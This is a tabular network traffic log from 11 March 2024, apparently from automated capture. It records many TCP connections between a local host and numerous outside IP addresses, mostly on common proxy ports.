Mar 11, 2024 15:21:02.688421965 CET	80	50988	104.20.233.70	192.168.2.9
Mar 11, 2024 15:21:02.688463926 CET	50988	80	192.168.2.9	104.20.233.70
Mar 11, 2024 15:21:02.689116955 CET	50988	80	192.168.2.9	104.20.233.70
Mar 11, 2024 15:21:02.689192057 CET	3128	50000	37.120.222.132	192.168.2.9
Mar 11, 2024 15:21:02.689296961 CET	50966	80	192.168.2.9	172.67.181.147
Mar 11, 2024 15:21:02.689342022 CET	80	50966	172.67.181.147	192.168.2.9
Mar 11, 2024 15:21:02.689353943 CET	80	50972	203.23.104.167	192.168.2.9
Mar 11, 2024 15:21:02.689395905 CET	50966	80	192.168.2.9	172.67.181.147
Mar 11, 2024 15:21:02.689457893 CET	50972	80	192.168.2.9	203.23.104.167
Mar 11, 2024 15:21:02.689712048 CET	51205	17464	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:02.690700054 CET	80	50136	50.168.72.117	192.168.2.9
Mar 11, 2024 15:21:02.693037033 CET	54321	51020	213.19.205.18	192.168.2.9
Mar 11, 2024 15:21:02.693100929 CET	51020	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.693362951 CET	51020	54321	192.168.2.9	213.19.205.18
Mar 11, 2024 15:21:02.693500996 CET	51207	3128	192.168.2.9	5.182.39.25
Mar 11, 2024 15:21:02.693542004 CET	51206	22082	192.168.2.9	173.249.33.122
Mar 11, 2024 15:21:02.693846941 CET	80	50938	190.103.177.131	192.168.2.9
Mar 11, 2024 15:21:02.693938017 CET	50938	80	192.168.2.9	190.103.177.131
Mar 11, 2024 15:21:02.694169044 CET	50938	80	192.168.2.9	190.103.177.131
Mar 11, 2024 15:21:02.695741892 CET	80	51014	172.67.182.126	192.168.2.9
Mar 11, 2024 15:21:02.695758104 CET	80	51014	172.67.182.126	192.168.2.9
Mar 11, 2024 15:21:02.696115971 CET	51014	80	192.168.2.9	172.67.182.126
Mar 11, 2024 15:21:02.696460962 CET	80	51011	104.24.220.52	192.168.2.9
Mar 11, 2024 15:21:02.696474075 CET	80	51011	104.24.220.52	192.168.2.9
Mar 11, 2024 15:21:02.696651936 CET	80	51014	172.67.182.126	192.168.2.9
Mar 11, 2024 15:21:02.696727991 CET	51014	80	192.168.2.9	172.67.182.126
Mar 11, 2024 15:21:02.696849108 CET	80	51011	104.24.220.52	192.168.2.9
Mar 11, 2024 15:21:02.696873903 CET	51011	80	192.168.2.9	104.24.220.52
Mar 11, 2024 15:21:02.696898937 CET	51011	80	192.168.2.9	104.24.220.52
Mar 11, 2024 15:21:02.700100899 CET	50085	8088	192.168.2.9	47.243.177.21
Mar 11, 2024 15:21:02.700112104 CET	50087	6116	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:02.700123072 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:02.700129032 CET	50095	80	192.168.2.9	203.89.8.107
Mar 11, 2024 15:21:02.700129032 CET	50097	80	192.168.2.9	191.101.1.116
Mar 11, 2024 15:21:02.700145006 CET	50111	27206	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:02.700149059 CET	50105	8080	192.168.2.9	103.114.53.2
Mar 11, 2024 15:21:02.700149059 CET	50089	80	192.168.2.9	146.59.202.70
Mar 11, 2024 15:21:02.700149059 CET	50109	8080	192.168.2.9	85.238.74.91
Mar 11, 2024 15:21:02.700150013 CET	50108	20309	192.168.2.9	107.180.90.88
Mar 11, 2024 15:21:02.700150967 CET	49729	80	192.168.2.9	50.217.226.44
Mar 11, 2024 15:21:02.700150967 CET	50367	80	192.168.2.9	50.168.163.177
Mar 11, 2024 15:21:02.700150967 CET	50101	8080	192.168.2.9	95.106.182.236
Mar 11, 2024 15:21:02.700216055 CET	50112	3128	192.168.2.9	109.86.182.203
Mar 11, 2024 15:21:02.700226068 CET	50110	3128	192.168.2.9	86.107.179.244
Mar 11, 2024 15:21:02.700228930 CET	50117	63100	192.168.2.9	107.180.90.88
Mar 11, 2024 15:21:02.700243950 CET	50118	21049	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:02.700243950 CET	50115	8080	192.168.2.9	103.177.21.9
Mar 11, 2024 15:21:02.700397968 CET	10007	50172	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.700651884 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.701188087 CET	38351	50928	115.75.5.17	192.168.2.9
Mar 11, 2024 15:21:02.701865911 CET	80	50193	50.231.110.26	192.168.2.9
Mar 11, 2024 15:21:02.702033043 CET	10000	50201	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:02.702179909 CET	51209	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.703381062 CET	51210	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:02.703521013 CET	51208	80	192.168.2.9	178.128.200.87
Mar 11, 2024 15:21:02.703866005 CET	80	50505	186.124.164.213	192.168.2.9
Mar 11, 2024 15:21:02.705010891 CET	12551	51120	149.20.253.81	192.168.2.9
Mar 11, 2024 15:21:02.707009077 CET	80	50789	104.25.167.88	192.168.2.9
Mar 11, 2024 15:21:02.707077980 CET	51211	80	192.168.2.9	104.17.171.79
Mar 11, 2024 15:21:02.709595919 CET	39533	50014	167.172.109.12	192.168.2.9
Mar 11, 2024 15:21:02.710629940 CET	51212	4145	192.168.2.9	103.229.85.249
Mar 11, 2024 15:21:02.711225033 CET	65533	50179	43.128.40.142	192.168.2.9
Mar 11, 2024 15:21:02.711313963 CET	34455	49727	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:02.713121891 CET	51213	4153	192.168.2.9	201.234.24.9
Mar 11, 2024 15:21:02.713881016 CET	4145	50662	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:02.713912964 CET	4145	50662	68.1.210.189	192.168.2.9
Mar 11, 2024 15:21:02.714803934 CET	80	51110	50.168.72.119	192.168.2.9
Mar 11, 2024 15:21:02.715228081 CET	51214	4145	192.168.2.9	68.1.210.189
Mar 11, 2024 15:21:02.715718031 CET	50113	8080	192.168.2.9	92.119.238.211
Mar 11, 2024 15:21:02.715718985 CET	50483	3128	192.168.2.9	213.17.246.46
Mar 11, 2024 15:21:02.715730906 CET	50331	80	192.168.2.9	50.223.38.6
Mar 11, 2024 15:21:02.715730906 CET	50126	999	192.168.2.9	186.148.181.69
Mar 11, 2024 15:21:02.715730906 CET	50116	60349	192.168.2.9	132.148.245.247
Mar 11, 2024 15:21:02.715745926 CET	50130	3129	192.168.2.9	20.204.214.79
Mar 11, 2024 15:21:02.715747118 CET	50129	63253	192.168.2.9	187.63.9.62
Mar 11, 2024 15:21:02.715749025 CET	50128	83	192.168.2.9	103.105.126.30
Mar 11, 2024 15:21:02.715965033 CET	50134	39824	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.715969086 CET	50135	3128	192.168.2.9	89.117.57.158
Mar 11, 2024 15:21:02.716029882 CET	3128	50967	8.209.255.13	192.168.2.9
Mar 11, 2024 15:21:02.716042995 CET	50563	50191	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:02.716099977 CET	50967	3128	192.168.2.9	8.209.255.13
Mar 11, 2024 15:21:02.716523886 CET	50967	3128	192.168.2.9	8.209.255.13
Mar 11, 2024 15:21:02.717609882 CET	10011	51052	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.717624903 CET	8089	51009	80.91.125.238	192.168.2.9
Mar 11, 2024 15:21:02.717681885 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.717971087 CET	51052	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.719304085 CET	51215	80	192.168.2.9	116.203.27.109
Mar 11, 2024 15:21:02.719460011 CET	8080	50522	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:02.720685959 CET	80	50919	203.171.19.99	192.168.2.9
Mar 11, 2024 15:21:02.720700979 CET	8080	50522	185.247.224.85	192.168.2.9
Mar 11, 2024 15:21:02.720762968 CET	50919	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:02.720773935 CET	50522	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.721009016 CET	17501	50853	202.166.205.242	192.168.2.9
Mar 11, 2024 15:21:02.721084118 CET	50522	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.721111059 CET	50919	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:02.721164942 CET	4145	51094	72.195.101.99	192.168.2.9
Mar 11, 2024 15:21:02.721259117 CET	51094	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.721728086 CET	51094	4145	192.168.2.9	72.195.101.99
Mar 11, 2024 15:21:02.721937895 CET	51216	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.722069025 CET	27660	50041	139.162.181.177	192.168.2.9
Mar 11, 2024 15:21:02.723695040 CET	1080	49911	168.138.162.66	192.168.2.9
Mar 11, 2024 15:21:02.725821018 CET	51217	58630	192.168.2.9	51.81.186.179
Mar 11, 2024 15:21:02.727376938 CET	4145	49970	222.124.130.197	192.168.2.9
Mar 11, 2024 15:21:02.727394104 CET	80	50165	35.209.198.222	192.168.2.9
Mar 11, 2024 15:21:02.728456020 CET	51218	8080	192.168.2.9	190.220.228.147
Mar 11, 2024 15:21:02.728596926 CET	1081	50569	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.728665113 CET	50569	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.728753090 CET	50569	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.729065895 CET	8888	50548	31.43.158.108	192.168.2.9
Mar 11, 2024 15:21:02.729202986 CET	8888	50548	31.43.158.108	192.168.2.9
Mar 11, 2024 15:21:02.729216099 CET	8888	50548	31.43.158.108	192.168.2.9
Mar 11, 2024 15:21:02.729264021 CET	50548	8888	192.168.2.9	31.43.158.108
Mar 11, 2024 15:21:02.729520082 CET	50548	8888	192.168.2.9	31.43.158.108
Mar 11, 2024 15:21:02.729931116 CET	51219	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.730036020 CET	1081	50569	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.731364012 CET	50121	11201	192.168.2.9	38.41.27.150
Mar 11, 2024 15:21:02.731365919 CET	49746	80	192.168.2.9	50.174.214.218
Mar 11, 2024 15:21:02.731365919 CET	50120	8080	192.168.2.9	201.20.94.93
Mar 11, 2024 15:21:02.731368065 CET	50248	3129	192.168.2.9	20.219.235.172
Mar 11, 2024 15:21:02.731384039 CET	50402	999	192.168.2.9	191.97.19.66
Mar 11, 2024 15:21:02.731384039 CET	50131	4153	192.168.2.9	200.70.56.204
Mar 11, 2024 15:21:02.731394053 CET	50127	21898	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:02.731528997 CET	50453	1599	192.168.2.9	72.10.160.172
Mar 11, 2024 15:21:02.731528997 CET	50515	4145	192.168.2.9	107.181.161.81
Mar 11, 2024 15:21:02.731666088 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.737915993 CET	24465	50178	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.737936020 CET	23085	50168	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.739164114 CET	4519	50159	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.739177942 CET	45629	50154	162.241.6.97	192.168.2.9
Mar 11, 2024 15:21:02.741003036 CET	60283	51164	164.92.86.113	192.168.2.9
Mar 11, 2024 15:21:02.741158009 CET	4145	50750	98.181.137.83	192.168.2.9
Mar 11, 2024 15:21:02.741170883 CET	4145	50750	98.181.137.83	192.168.2.9
Mar 11, 2024 15:21:02.741234064 CET	51164	60283	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:02.742336988 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.742352962 CET	1080	49987	43.229.254.163	192.168.2.9
Mar 11, 2024 15:21:02.742866993 CET	5050	50852	23.152.40.15	192.168.2.9
Mar 11, 2024 15:21:02.742881060 CET	3129	50931	20.219.177.73	192.168.2.9
Mar 11, 2024 15:21:02.744281054 CET	50931	3129	192.168.2.9	20.219.177.73
Mar 11, 2024 15:21:02.744889021 CET	8080	51030	79.110.119.177	192.168.2.9
Mar 11, 2024 15:21:02.744940042 CET	51030	8080	192.168.2.9	79.110.119.177
Mar 11, 2024 15:21:02.744982004 CET	80	50086	50.222.245.47	192.168.2.9
Mar 11, 2024 15:21:02.745373964 CET	1080	50980	171.247.245.221	192.168.2.9
Mar 11, 2024 15:21:02.745994091 CET	50980	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:02.746115923 CET	80	51082	50.174.145.12	192.168.2.9
Mar 11, 2024 15:21:02.746949911 CET	50501	80	192.168.2.9	50.200.12.87
Mar 11, 2024 15:21:02.747029066 CET	50343	5678	192.168.2.9	185.56.180.14
Mar 11, 2024 15:21:02.747121096 CET	49741	4153	192.168.2.9	103.209.230.185
Mar 11, 2024 15:21:02.748271942 CET	10008	51095	147.75.92.244	192.168.2.9
Mar 11, 2024 15:21:02.748349905 CET	51095	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:02.748615980 CET	51164	60283	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:02.751264095 CET	51221	8089	192.168.2.9	123.182.58.169
Mar 11, 2024 15:21:02.751930952 CET	51222	4145	192.168.2.9	98.181.137.83
Mar 11, 2024 15:21:02.752430916 CET	50931	3129	192.168.2.9	20.219.177.73
Mar 11, 2024 15:21:02.752753973 CET	51030	8080	192.168.2.9	79.110.119.177
Mar 11, 2024 15:21:02.752938986 CET	50980	1080	192.168.2.9	171.247.245.221
Mar 11, 2024 15:21:02.753158092 CET	51095	10008	192.168.2.9	147.75.92.244
Mar 11, 2024 15:21:02.754475117 CET	80	51089	50.174.7.156	192.168.2.9
Mar 11, 2024 15:21:02.755484104 CET	80	50749	85.26.146.169	192.168.2.9
Mar 11, 2024 15:21:02.756176949 CET	50462	6879	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.756223917 CET	50465	10977	192.168.2.9	67.43.227.226
Mar 11, 2024 15:21:02.757989883 CET	80	50637	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.758006096 CET	3128	51061	194.145.209.187	192.168.2.9
Mar 11, 2024 15:21:02.758052111 CET	50637	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.758989096 CET	50637	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.760178089 CET	51224	80	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.760909081 CET	3128	49920	77.77.64.116	192.168.2.9
Mar 11, 2024 15:21:02.761545897 CET	80	50914	43.231.22.228	192.168.2.9
Mar 11, 2024 15:21:02.761620998 CET	50914	80	192.168.2.9	43.231.22.228
Mar 11, 2024 15:21:02.762204885 CET	50914	80	192.168.2.9	43.231.22.228
Mar 11, 2024 15:21:02.762315035 CET	4145	51169	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.762367010 CET	51169	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:02.762568951 CET	50167	57320	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.762619972 CET	50468	15109	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.762620926 CET	50205	80	192.168.2.9	80.228.235.6
Mar 11, 2024 15:21:02.762624979 CET	50380	8181	192.168.2.9	43.132.184.228
Mar 11, 2024 15:21:02.762625933 CET	50413	16614	192.168.2.9	178.62.79.49
Mar 11, 2024 15:21:02.762649059 CET	50490	9300	192.168.2.9	198.211.99.26
Mar 11, 2024 15:21:02.762810946 CET	49758	80	192.168.2.9	50.173.182.90
Mar 11, 2024 15:21:02.762810946 CET	49790	80	192.168.2.9	50.168.163.166
Mar 11, 2024 15:21:02.763382912 CET	80	50661	185.212.60.62	192.168.2.9
Mar 11, 2024 15:21:02.763557911 CET	51225	11537	192.168.2.9	38.127.172.28
Mar 11, 2024 15:21:02.764343023 CET	51226	80	192.168.2.9	103.152.112.167
Mar 11, 2024 15:21:02.764746904 CET	51227	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.764767885 CET	443	51227	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.764839888 CET	51227	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.765506983 CET	51227	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.765516996 CET	443	51227	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.765563965 CET	443	51227	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.766920090 CET	51228	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.766942978 CET	443	51228	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.767009020 CET	51228	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.767375946 CET	80	50981	45.139.11.200	192.168.2.9
Mar 11, 2024 15:21:02.768111944 CET	51228	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.768129110 CET	443	51228	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.768155098 CET	443	51228	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.768295050 CET	9834	49842	91.241.131.179	192.168.2.9
Mar 11, 2024 15:21:02.768368006 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:02.768774033 CET	1080	50941	13.234.24.116	192.168.2.9
Mar 11, 2024 15:21:02.768826008 CET	50941	1080	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.769328117 CET	80	50637	211.222.252.187	192.168.2.9
Mar 11, 2024 15:21:02.770028114 CET	3030	49924	158.247.207.153	192.168.2.9
Mar 11, 2024 15:21:02.771020889 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.771035910 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.771115065 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.771117926 CET	49924	3030	192.168.2.9	158.247.207.153
Mar 11, 2024 15:21:02.771126986 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.771140099 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:02.771162033 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:02.774195910 CET	56613	50651	54.38.179.162	192.168.2.9
Mar 11, 2024 15:21:02.776299000 CET	3629	51032	92.38.45.72	192.168.2.9
Mar 11, 2024 15:21:02.777743101 CET	3128	49892	160.16.90.35	192.168.2.9
Mar 11, 2024 15:21:02.777803898 CET	49892	3128	192.168.2.9	160.16.90.35
Mar 11, 2024 15:21:02.778219938 CET	50141	80	192.168.2.9	174.138.94.117
Mar 11, 2024 15:21:02.778239965 CET	50145	8192	192.168.2.9	31.211.130.237
Mar 11, 2024 15:21:02.778239012 CET	50148	3629	192.168.2.9	162.12.217.4
Mar 11, 2024 15:21:02.778244972 CET	50143	8080	192.168.2.9	45.125.222.81
Mar 11, 2024 15:21:02.778259993 CET	50401	80	192.168.2.9	50.170.90.29
Mar 11, 2024 15:21:02.778260946 CET	50341	4145	192.168.2.9	119.18.152.139
Mar 11, 2024 15:21:02.778260946 CET	50140	3128	192.168.2.9	161.34.67.83
Mar 11, 2024 15:21:02.778264999 CET	50142	13486	192.168.2.9	167.99.39.82
Mar 11, 2024 15:21:02.778290033 CET	50163	1080	192.168.2.9	103.127.38.46
Mar 11, 2024 15:21:02.778290987 CET	50164	8080	192.168.2.9	41.139.197.185
Mar 11, 2024 15:21:02.778290987 CET	50171	8080	192.168.2.9	188.132.221.163
Mar 11, 2024 15:21:02.778290987 CET	50517	10587	192.168.2.9	67.43.236.19
Mar 11, 2024 15:21:02.778290987 CET	50156	3128	192.168.2.9	103.90.227.244
Mar 11, 2024 15:21:02.778295040 CET	50152	8080	192.168.2.9	161.132.125.244
Mar 11, 2024 15:21:02.778295994 CET	50373	19001	192.168.2.9	8.210.208.148
Mar 11, 2024 15:21:02.778295994 CET	50157	8080	192.168.2.9	103.159.66.61
Mar 11, 2024 15:21:02.778307915 CET	50153	80	192.168.2.9	163.44.253.160
Mar 11, 2024 15:21:02.778307915 CET	50175	27234	192.168.2.9	168.228.36.22
Mar 11, 2024 15:21:02.778307915 CET	50181	1080	192.168.2.9	139.255.132.68
Mar 11, 2024 15:21:02.778315067 CET	50184	3128	192.168.2.9	45.8.21.43
Mar 11, 2024 15:21:02.778318882 CET	50422	8000	192.168.2.9	66.63.168.119
Mar 11, 2024 15:21:02.778318882 CET	50183	27020	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.778318882 CET	50161	3128	192.168.2.9	193.239.86.248
Mar 11, 2024 15:21:02.778354883 CET	50166	27234	192.168.2.9	179.125.51.54
Mar 11, 2024 15:21:02.778356075 CET	50208	8080	192.168.2.9	103.189.116.108
Mar 11, 2024 15:21:02.778357983 CET	50162	34411	192.168.2.9	212.110.188.222
Mar 11, 2024 15:21:02.778357983 CET	50188	6716	192.168.2.9	135.148.10.161
Mar 11, 2024 15:21:02.778357983 CET	50199	19925	192.168.2.9	213.136.78.200
Mar 11, 2024 15:21:02.778358936 CET	50176	8180	192.168.2.9	118.172.239.231
Mar 11, 2024 15:21:02.778357983 CET	50169	4228	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.778363943 CET	50195	5678	192.168.2.9	183.88.214.58
Mar 11, 2024 15:21:02.778362989 CET	50160	8181	192.168.2.9	103.152.232.68
Mar 11, 2024 15:21:02.778358936 CET	50185	999	192.168.2.9	181.78.11.218
Mar 11, 2024 15:21:02.778362989 CET	50180	5836	192.168.2.9	51.15.187.125
Mar 11, 2024 15:21:02.778371096 CET	50190	3128	192.168.2.9	51.159.134.210
Mar 11, 2024 15:21:02.778373003 CET	50197	28593	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.778373003 CET	50206	26606	192.168.2.9	132.148.128.88
Mar 11, 2024 15:21:02.778381109 CET	50202	8080	192.168.2.9	178.152.101.130
Mar 11, 2024 15:21:02.778872967 CET	51229	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.778891087 CET	443	51229	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.778953075 CET	51229	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.779222965 CET	49842	9834	192.168.2.9	91.241.131.179
Mar 11, 2024 15:21:02.779269934 CET	4145	50787	184.181.217.210	192.168.2.9
Mar 11, 2024 15:21:02.779442072 CET	4145	50787	184.181.217.210	192.168.2.9
Mar 11, 2024 15:21:02.779465914 CET	50941	1080	192.168.2.9	13.234.24.116
Mar 11, 2024 15:21:02.779709101 CET	49924	3030	192.168.2.9	158.247.207.153
Mar 11, 2024 15:21:02.780128956 CET	51229	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.780138016 CET	443	51229	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.780174017 CET	443	51229	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.780358076 CET	8899	50535	117.160.250.132	192.168.2.9
Mar 11, 2024 15:21:02.780416965 CET	50535	8899	192.168.2.9	117.160.250.132
Mar 11, 2024 15:21:02.781260014 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.781718016 CET	51230	7777	192.168.2.9	113.250.189.196
Mar 11, 2024 15:21:02.782181978 CET	51231	8083	192.168.2.9	41.216.186.116
Mar 11, 2024 15:21:02.782799006 CET	51232	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.782820940 CET	443	51232	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.782871962 CET	51232	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.783176899 CET	50535	8899	192.168.2.9	117.160.250.132
Mar 11, 2024 15:21:02.783355951 CET	80	51099	50.237.207.186	192.168.2.9
Mar 11, 2024 15:21:02.783370018 CET	4145	50810	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:02.783380985 CET	4145	50810	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:02.783420086 CET	1080	50577	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:02.783516884 CET	80	51097	5.135.83.214	192.168.2.9
Mar 11, 2024 15:21:02.783582926 CET	51097	80	192.168.2.9	5.135.83.214
Mar 11, 2024 15:21:02.783706903 CET	51232	443	192.168.2.9	211.234.125.5
Mar 11, 2024 15:21:02.783719063 CET	443	51232	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.783740997 CET	443	51232	211.234.125.5	192.168.2.9
Mar 11, 2024 15:21:02.784260988 CET	1080	51159	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:02.784324884 CET	51159	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.784878969 CET	4145	51144	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:02.784987926 CET	51144	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:02.785461903 CET	51233	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:02.786463976 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:02.786688089 CET	51097	80	192.168.2.9	5.135.83.214
Mar 11, 2024 15:21:02.787600040 CET	51159	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.787790060 CET	80	51127	50.174.7.158	192.168.2.9
Mar 11, 2024 15:21:02.787981987 CET	80	50669	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:02.787993908 CET	80	50669	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:02.788239956 CET	51144	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:02.788249969 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:02.788336039 CET	51234	4145	192.168.2.9	184.181.217.210
Mar 11, 2024 15:21:02.789000988 CET	80	51140	50.173.140.144	192.168.2.9
Mar 11, 2024 15:21:02.789782047 CET	51235	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:02.790057898 CET	8080	50573	219.243.212.118	192.168.2.9
Mar 11, 2024 15:21:02.790128946 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:02.790232897 CET	8080	50573	219.243.212.118	192.168.2.9
Mar 11, 2024 15:21:02.790265083 CET	8080	50573	219.243.212.118	192.168.2.9
Mar 11, 2024 15:21:02.790338039 CET	50573	8080	192.168.2.9	219.243.212.118
Mar 11, 2024 15:21:02.790807009 CET	50573	8080	192.168.2.9	219.243.212.118
Mar 11, 2024 15:21:02.791116953 CET	8081	51071	79.110.201.235	192.168.2.9
Mar 11, 2024 15:21:02.791202068 CET	51071	8081	192.168.2.9	79.110.201.235
Mar 11, 2024 15:21:02.791477919 CET	51071	8081	192.168.2.9	79.110.201.235
Mar 11, 2024 15:21:02.791569948 CET	3128	51104	3.122.84.99	192.168.2.9
Mar 11, 2024 15:21:02.791641951 CET	51104	3128	192.168.2.9	3.122.84.99
Mar 11, 2024 15:21:02.791842937 CET	51236	16099	192.168.2.9	193.231.40.182
Mar 11, 2024 15:21:02.792093992 CET	51104	3128	192.168.2.9	3.122.84.99
Mar 11, 2024 15:21:02.792350054 CET	51237	8080	192.168.2.9	103.227.186.13
Mar 11, 2024 15:21:02.792527914 CET	80	50859	172.67.181.197	192.168.2.9
Mar 11, 2024 15:21:02.793167114 CET	51238	83	192.168.2.9	103.176.116.109
Mar 11, 2024 15:21:02.793296099 CET	8080	49947	103.148.51.19	192.168.2.9
Mar 11, 2024 15:21:02.793848038 CET	50443	80	192.168.2.9	50.218.57.70
Mar 11, 2024 15:21:02.793848038 CET	50336	4153	192.168.2.9	45.226.48.6
Mar 11, 2024 15:21:02.793848991 CET	50173	21617	192.168.2.9	163.172.94.175
Mar 11, 2024 15:21:02.793848991 CET	50371	33427	192.168.2.9	91.135.80.66
Mar 11, 2024 15:21:02.793862104 CET	50198	80	192.168.2.9	80.13.43.193
Mar 11, 2024 15:21:02.793863058 CET	50187	36394	192.168.2.9	167.86.69.142
Mar 11, 2024 15:21:02.793863058 CET	49828	44607	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:02.793863058 CET	50386	5678	192.168.2.9	113.160.227.166
Mar 11, 2024 15:21:02.793883085 CET	50214	35632	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.793884039 CET	50216	1080	192.168.2.9	195.231.72.187
Mar 11, 2024 15:21:02.793884039 CET	50255	4153	192.168.2.9	103.117.109.9
Mar 11, 2024 15:21:02.793884039 CET	50218	999	192.168.2.9	191.97.9.228
Mar 11, 2024 15:21:02.793885946 CET	50170	5678	192.168.2.9	200.105.192.6
Mar 11, 2024 15:21:02.793884039 CET	50204	32812	192.168.2.9	170.247.43.142
Mar 11, 2024 15:21:02.793884993 CET	50192	17982	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:02.793885946 CET	50225	8080	192.168.2.9	176.106.22.125
Mar 11, 2024 15:21:02.793884993 CET	50211	8085	192.168.2.9	103.105.55.170
Mar 11, 2024 15:21:02.793885946 CET	50215	9090	192.168.2.9	103.105.76.214
Mar 11, 2024 15:21:02.793924093 CET	50219	7128	192.168.2.9	107.180.95.177
Mar 11, 2024 15:21:02.794754028 CET	45517	51107	176.31.110.126	192.168.2.9
Mar 11, 2024 15:21:02.794768095 CET	80	49778	82.119.96.254	192.168.2.9
Mar 11, 2024 15:21:02.795293093 CET	51107	45517	192.168.2.9	176.31.110.126
Mar 11, 2024 15:21:02.795293093 CET	51107	45517	192.168.2.9	176.31.110.126
